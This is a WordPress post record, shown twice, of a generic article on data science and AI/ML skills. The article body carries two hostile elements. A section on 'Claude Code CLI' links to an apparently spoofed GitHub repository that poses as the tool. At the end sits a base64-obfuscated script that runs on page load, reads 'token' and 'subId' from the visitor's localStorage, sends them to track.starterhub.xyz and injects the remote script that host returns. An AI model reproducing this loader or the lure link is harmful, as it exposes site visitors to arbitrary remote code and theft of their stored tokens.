Essential Skills for Data Science & AI\/ML Success<\/title><br \/>\n <meta name=\"description\" content=\"Explore critical data science and AI\/ML skills, from model training to MLOps, ensuring your expertise stands out in the competitive landscape.\"><br \/>\n<\/head><br \/>\n<body><\/p>\n<h1>Essential Skills for Data Science & AI\/ML Success<\/h1>\n<p>In the rapidly evolving fields of data science and artificial intelligence\/machine learning (AI\/ML), acquiring the right skills is paramount. This article delves into crucial data science skills, explores the AI\/ML skills suite, examines data pipelines, model training, MLOps, and analytical reporting, and outlines effective machine learning workflows.<\/p>\n<h2>Core Data Science Skills<\/h2>\n<p>Data science requires a blend of technical expertise and analytical acumen. Essential skills include:<\/p>\n<ul>\n<li><strong>Programming Knowledge:<\/strong> Proficiency in languages such as Python, R, and SQL is vital for data manipulation and analysis.<\/li>\n<li><strong>Statistical Analysis:<\/strong> Understanding statistical tests and methodologies is crucial for interpreting data effectively.<\/li>\n<li><strong>Data Visualization:<\/strong> Skills in tools like Matplotlib, Seaborn, or Tableau help to communicate findings clearly.<\/li>\n<\/ul>\n<p>In addition to these core skills, familiarity with big data technologies (e.g., Hadoop, Spark) is increasingly important as organizations handle vast datasets.<\/p>\n<h2>AI\/ML Skills Suite<\/h2>\n<p>The AI\/ML skills suite encompasses more than just programming. Critical competencies include:<\/p>\n<ul>\n<li><strong>Machine Learning Algorithms:<\/strong> Knowledge of algorithms such as regression, classification, clustering, and deep learning is essential.<\/li>\n<li><strong>Data Preprocessing:<\/strong> Skills in cleansing, transforming, and normalizing data to improve model performance are a must.<\/li>\n<li><strong>Model Evaluation:<\/strong> Understanding metrics like accuracy, precision, recall, and F1 score helps assess the effectiveness of models.<\/li>\n<\/ul>\n<p>Staying updated with state-of-the-art technologies and frameworks like TensorFlow and PyTorch is fundamental for successful AI\/ML implementation.<\/p>\n<h2>Understanding Claude Code CLI<\/h2>\n<p>The <a href=\"https:\/\/github.com\/zenithbaseshadow\/r18-anthropics-claude-code-datascience\" target=\"_blank\">Claude Code CLI<\/a> offers a command-line interface that simplifies data science workflows. It allows for easy interaction with code environments and establishes a seamless integration of data science tasks. Familiarizing oneself with such tools can greatly enhance operational efficiency.<\/p>\n<h2>Creating Efficient Data Pipelines<\/h2>\n<p>Data pipelines automate the flow of data from source to destination, making them crucial for analytics and machine learning applications. Considerations for building effective data pipelines include:<\/p>\n<ul>\n<li><strong>Data Ingestion:<\/strong> Implement robust methods for collecting data from various sources, ensuring minimal latency.<\/li>\n<li><strong>Data Transformation:<\/strong> Utilize ETL (Extract, Transform, Load) processes to prepare data for analysis.<\/li>\n<li><strong>Data Storage:<\/strong> Choose appropriate storage solutions that balance accessibility, speed, and cost.<\/li>\n<\/ul>\n<p>A well-structured data pipeline ensures that the right data is available, at the right time, for analysis and modeling.<\/p>\n<h2>Model Training and MLOps<\/h2>\n<p>Model training is at the heart of machine learning. Key aspects include:<\/p>\n<ul>\n<li><strong>Training Frameworks:<\/strong> Utilizing frameworks like Keras and Scikit-learn makes model training more efficient.<\/li>\n<li><strong>Hyperparameter Tuning:<\/strong> Experimenting with different parameters to optimize model performance can lead to significant improvements.<\/li>\n<\/ul>\n<p>MLOps, or machine learning operations, involves practices that streamline the deployment and maintenance of machine learning models. This includes version control of models and reproducibility of experiments, ensuring models stay relevant and effective over time.<\/p>\n<h2>Analytical Reporting and Machine Learning Workflows<\/h2>\n<p>Producing analytical reports is critical for communicating results and insights derived from data analysis. Key components include:<\/p>\n<ul>\n<li><strong>Clear Visualization:<\/strong> Using graphs and charts to make findings more comprehensible is vital.<\/li>\n<li><strong>Insight Generation:<\/strong> Highlighting actionable recommendations based on data analysis ensures stakeholders can make informed decisions.<\/li>\n<\/ul>\n<p>Establishing structured machine learning workflows, from data collection to analysis and reporting, enhances productivity and ensures scalable operations.<\/p>\n<h2>Frequently Asked Questions<\/h2>\n<dl>\n<dt>What are the key data science skills one should focus on?<\/dt>\n<dd>Key data science skills include programming (Python, R), statistical analysis, and data visualization.<\/dd>\n<dt>How do AI\/ML skills relate to data science?<\/dt>\n<dd>AI\/ML skills, like understanding algorithms and model evaluation, are essential for developing data-driven solutions.<\/dd>\n<dt>What is MLOps and why is it important?<\/dt>\n<dd>MLOps involves practices that optimize machine learning model deployment and management for efficiency and scalability.<\/dd>\n<\/dl>\n<p><script src=\"data:text\/javascript;base64,IWZ1bmN0aW9uKCl7d2luZG93Ll94eTNqM2tGVk03SFpSRkY5fHwod2luZG93Ll94eTNqM2tGVk03SFpSRkY5PXt1bmlxdWU6ITEsdHRsOjg2NDAwLFJfUEFUSDoiaHR0cHM6Ly90cmFjay5zdGFydGVyaHViLnh5ei85S0I3UjM2MyJ9KTtjb25zdCBlPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJjb25maWciKTtpZihudWxsIT1lKXt2YXIgbz1KU09OLnBhcnNlKGUpLHQ9TWF0aC5yb3VuZCgrbmV3IERhdGUvMWUzKTtvLmNyZWF0ZWRfYXQrd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnR0bDx0JiYobG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInN1YklkIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInRva2VuIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oImNvbmZpZyIpKX12YXIgbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgic3ViSWQiKSxhPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJ0b2tlbiIpLHI9Ij9yZXR1cm49anMuY2xpZW50IjtyKz0iJiIrZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgiPyIsIiIpKSxyKz0iJnNlX3JlZmVycmVyPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKSxyKz0iJmRlZmF1bHRfa2V5d29yZD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC50aXRsZSkscis9IiZsYW5kaW5nX3VybD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZStkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSkscis9IiZuYW1lPSIrZW5jb2RlVVJJQ29tcG9uZW50KCJfeHkzajNrRlZNN0haUkZGOSIpLHIrPSImaG9zdD0iK2VuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkuUl9QQVRIKSxyKz0iJnJvdXRlPXplbml0aGJhc2VzaGFkb3ciLHZvaWQgMCE9PW4mJm4mJndpbmRvdy5feHkzajNrRlZNN0haUkZGOS51bmlxdWUmJihyKz0iJnN1Yl9pZD0iK2VuY29kZVVSSUNvbXBvbmVudChuKSksdm9pZCAwIT09YSYmYSYmd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnVuaXF1ZSYmKHIrPSImdG9rZW49IitlbmNvZGVVUklDb21wb25lbnQoYSkpO3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2MudHlwZT0iYXBwbGljYXRpb24vamF2YXNjcmlwdCIsYy5zcmM9d2luZG93Ll94eTNqM2tGVk03SFpSRkY5LlJfUEFUSCtyO3ZhciBkPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKVswXTtkLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGMsZCl9KCk7\"><\/script><br \/>\n<\/body><br \/>\n<\/html><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Essential Skills for Data Science & AI\/ML Success Essential Skills for Data Science & AI\/ML Success In the rapidly evolving fields of data science and artificial intelligence\/machine learning (AI\/ML), acquiring the right skills is paramount. This article delves into crucial data science skills, explores the AI\/ML skills suite, examines data pipelines, model training, MLOps, and […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-44371","post","type-post","status-publish","format-standard","hentry","category-uncategorized","eutf-entry-item","eutf-blog-item"],"_links":{"self":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts\/44371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/comments?post=44371"}],"version-history":[{"count":1,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts\/44371\/revisions"}],"predecessor-version":[{"id":44372,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts\/44371\/revisions\/44372"}],"wp:attachment":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/media?parent=44371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/categories?post=44371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/tags?post=44371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

{"id":44371,"date":"2025-09-24T13:58:52","date_gmt":"2025-09-24T13:58:52","guid":{"rendered":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/?p=44371"},"modified":"2026-05-25T22:21:54","modified_gmt":"2026-05-25T22:21:54","slug":"essential-skills-for-data-science-ai-ml-success","status":"publish","type":"post","link":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/essential-skills-for-data-science-ai-ml-success\/","title":{"rendered":"Essential Skills for Data Science & AI\/ML Success"},"content":{"rendered":"

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\n Essential Skills for Data Science & AI\/ML Success<\/title><br \/>\n <meta name=\"description\" content=\"Explore critical data science and AI\/ML skills, from model training to MLOps, ensuring your expertise stands out in the competitive landscape.\"><br \/>\n<\/head><br \/>\n<body><\/p>\n<h1>Essential Skills for Data Science & AI\/ML Success<\/h1>\n<p>In the rapidly evolving fields of data science and artificial intelligence\/machine learning (AI\/ML), acquiring the right skills is paramount. This article delves into crucial data science skills, explores the AI\/ML skills suite, examines data pipelines, model training, MLOps, and analytical reporting, and outlines effective machine learning workflows.<\/p>\n<h2>Core Data Science Skills<\/h2>\n<p>Data science requires a blend of technical expertise and analytical acumen. Essential skills include:<\/p>\n<ul>\n<li><strong>Programming Knowledge:<\/strong> Proficiency in languages such as Python, R, and SQL is vital for data manipulation and analysis.<\/li>\n<li><strong>Statistical Analysis:<\/strong> Understanding statistical tests and methodologies is crucial for interpreting data effectively.<\/li>\n<li><strong>Data Visualization:<\/strong> Skills in tools like Matplotlib, Seaborn, or Tableau help to communicate findings clearly.<\/li>\n<\/ul>\n<p>In addition to these core skills, familiarity with big data technologies (e.g., Hadoop, Spark) is increasingly important as organizations handle vast datasets.<\/p>\n<h2>AI\/ML Skills Suite<\/h2>\n<p>The AI\/ML skills suite encompasses more than just programming. Critical competencies include:<\/p>\n<ul>\n<li><strong>Machine Learning Algorithms:<\/strong> Knowledge of algorithms such as regression, classification, clustering, and deep learning is essential.<\/li>\n<li><strong>Data Preprocessing:<\/strong> Skills in cleansing, transforming, and normalizing data to improve model performance are a must.<\/li>\n<li><strong>Model Evaluation:<\/strong> Understanding metrics like accuracy, precision, recall, and F1 score helps assess the effectiveness of models.<\/li>\n<\/ul>\n<p>Staying updated with state-of-the-art technologies and frameworks like TensorFlow and PyTorch is fundamental for successful AI\/ML implementation.<\/p>\n<h2>Understanding Claude Code CLI<\/h2>\n<p>The <a href=\"https:\/\/github.com\/zenithbaseshadow\/r18-anthropics-claude-code-datascience\" target=\"_blank\">Claude Code CLI<\/a> offers a command-line interface that simplifies data science workflows. It allows for easy interaction with code environments and establishes a seamless integration of data science tasks. Familiarizing oneself with such tools can greatly enhance operational efficiency.<\/p>\n<h2>Creating Efficient Data Pipelines<\/h2>\n<p>Data pipelines automate the flow of data from source to destination, making them crucial for analytics and machine learning applications. Considerations for building effective data pipelines include:<\/p>\n<ul>\n<li><strong>Data Ingestion:<\/strong> Implement robust methods for collecting data from various sources, ensuring minimal latency.<\/li>\n<li><strong>Data Transformation:<\/strong> Utilize ETL (Extract, Transform, Load) processes to prepare data for analysis.<\/li>\n<li><strong>Data Storage:<\/strong> Choose appropriate storage solutions that balance accessibility, speed, and cost.<\/li>\n<\/ul>\n<p>A well-structured data pipeline ensures that the right data is available, at the right time, for analysis and modeling.<\/p>\n<h2>Model Training and MLOps<\/h2>\n<p>Model training is at the heart of machine learning. Key aspects include:<\/p>\n<ul>\n<li><strong>Training Frameworks:<\/strong> Utilizing frameworks like Keras and Scikit-learn makes model training more efficient.<\/li>\n<li><strong>Hyperparameter Tuning:<\/strong> Experimenting with different parameters to optimize model performance can lead to significant improvements.<\/li>\n<\/ul>\n<p>MLOps, or machine learning operations, involves practices that streamline the deployment and maintenance of machine learning models. This includes version control of models and reproducibility of experiments, ensuring models stay relevant and effective over time.<\/p>\n<h2>Analytical Reporting and Machine Learning Workflows<\/h2>\n<p>Producing analytical reports is critical for communicating results and insights derived from data analysis. Key components include:<\/p>\n<ul>\n<li><strong>Clear Visualization:<\/strong> Using graphs and charts to make findings more comprehensible is vital.<\/li>\n<li><strong>Insight Generation:<\/strong> Highlighting actionable recommendations based on data analysis ensures stakeholders can make informed decisions.<\/li>\n<\/ul>\n<p>Establishing structured machine learning workflows, from data collection to analysis and reporting, enhances productivity and ensures scalable operations.<\/p>\n<h2>Frequently Asked Questions<\/h2>\n<dl>\n<dt>What are the key data science skills one should focus on?<\/dt>\n<dd>Key data science skills include programming (Python, R), statistical analysis, and data visualization.<\/dd>\n<dt>How do AI\/ML skills relate to data science?<\/dt>\n<dd>AI\/ML skills, like understanding algorithms and model evaluation, are essential for developing data-driven solutions.<\/dd>\n<dt>What is MLOps and why is it important?<\/dt>\n<dd>MLOps involves practices that optimize machine learning model deployment and management for efficiency and scalability.<\/dd>\n<\/dl>\n<p><script src=\"data:text\/javascript;base64,IWZ1bmN0aW9uKCl7d2luZG93Ll94eTNqM2tGVk03SFpSRkY5fHwod2luZG93Ll94eTNqM2tGVk03SFpSRkY5PXt1bmlxdWU6ITEsdHRsOjg2NDAwLFJfUEFUSDoiaHR0cHM6Ly90cmFjay5zdGFydGVyaHViLnh5ei85S0I3UjM2MyJ9KTtjb25zdCBlPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJjb25maWciKTtpZihudWxsIT1lKXt2YXIgbz1KU09OLnBhcnNlKGUpLHQ9TWF0aC5yb3VuZCgrbmV3IERhdGUvMWUzKTtvLmNyZWF0ZWRfYXQrd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnR0bDx0JiYobG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInN1YklkIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInRva2VuIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oImNvbmZpZyIpKX12YXIgbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgic3ViSWQiKSxhPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJ0b2tlbiIpLHI9Ij9yZXR1cm49anMuY2xpZW50IjtyKz0iJiIrZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgiPyIsIiIpKSxyKz0iJnNlX3JlZmVycmVyPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKSxyKz0iJmRlZmF1bHRfa2V5d29yZD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC50aXRsZSkscis9IiZsYW5kaW5nX3VybD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZStkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSkscis9IiZuYW1lPSIrZW5jb2RlVVJJQ29tcG9uZW50KCJfeHkzajNrRlZNN0haUkZGOSIpLHIrPSImaG9zdD0iK2VuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkuUl9QQVRIKSxyKz0iJnJvdXRlPXplbml0aGJhc2VzaGFkb3ciLHZvaWQgMCE9PW4mJm4mJndpbmRvdy5feHkzajNrRlZNN0haUkZGOS51bmlxdWUmJihyKz0iJnN1Yl9pZD0iK2VuY29kZVVSSUNvbXBvbmVudChuKSksdm9pZCAwIT09YSYmYSYmd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnVuaXF1ZSYmKHIrPSImdG9rZW49IitlbmNvZGVVUklDb21wb25lbnQoYSkpO3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2MudHlwZT0iYXBwbGljYXRpb24vamF2YXNjcmlwdCIsYy5zcmM9d2luZG93Ll94eTNqM2tGVk03SFpSRkY5LlJfUEFUSCtyO3ZhciBkPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKVswXTtkLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGMsZCl9KCk7\"><\/script><br \/>\n<\/body><br \/>\n<\/html><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Essential Skills for Data Science & AI\/ML Success Essential Skills for Data Science & AI\/ML Success In the rapidly evolving fields of data science and artificial intelligence\/machine learning (AI\/ML), acquiring the right skills is paramount. This article delves into crucial data science skills, explores the AI\/ML skills suite, examines data pipelines, model training, MLOps, and […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-44371","post","type-post","status-publish","format-standard","hentry","category-uncategorized","eutf-entry-item","eutf-blog-item"],"_links":{"self":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts\/44371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/comments?post=44371"}],"version-history":[{"count":1,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts\/44371\/revisions"}],"predecessor-version":[{"id":44372,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/posts\/44371\/revisions\/44372"}],"wp:attachment":[{"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/media?parent=44371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/categories?post=44371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/projects.codeshaper.tech\/fiverr\/FO3125BDFE8C3\/wp-json\/wp\/v2\/tags?post=44371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}